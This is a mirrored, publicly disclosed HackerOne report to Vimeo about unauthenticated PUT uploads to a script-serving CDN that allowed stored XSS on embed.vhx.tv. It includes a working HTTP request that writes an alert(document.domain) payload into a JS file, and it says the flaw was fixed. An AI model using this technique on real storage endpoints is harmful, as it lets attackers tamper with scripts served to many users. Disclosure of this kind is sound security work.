HexBrain

Vimeo · Report #452559

Possibility to overwrite any file in the vpe.cdn.vimeo.tv leads to the Stored XSS for the all customers on the embed.vhx.tv

Validstatus
highseverity
76upvotes
10 Jul 2019disclosed

Summary

By modifying the Content-Type to be blank, during a PUT command, the researcher was able to upload files to the CDN. This has been resolved.

It was possible to write (and overwrite) arbitrary files to the CDN ( vpe.cdn.vimeo.tv ) used for JS scripts delivery on the various in-scope assets using the PUT method with blank or application/octet-stream Content-Type. Any other Content-Type caused auth error from Google Cloud Storage side. Example:

PUT /something.js HTTP/1.1
Host: vpe.cdn.vimeo.tv
Content-Type: application/octet-stream
Content-Length: 10
Connection: close

alert(document.domain)

could create something.js with XSS payload or overwrite something.js if it already exist.

The issue was fixed fast. Thanks to the VHX team for the great experience, awesome communication and the bounty!

How it was found

The write-up for this report has not been downloaded yet, or the program disclosed it without one. Read it on HackerOne.

This report was disclosed publicly on HackerOne and belongs to its author and the program. See the original